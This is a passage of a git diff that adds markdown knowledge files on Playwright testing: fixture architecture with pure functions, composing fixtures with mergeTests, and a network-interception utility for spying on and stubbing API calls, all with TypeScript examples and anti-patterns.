+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
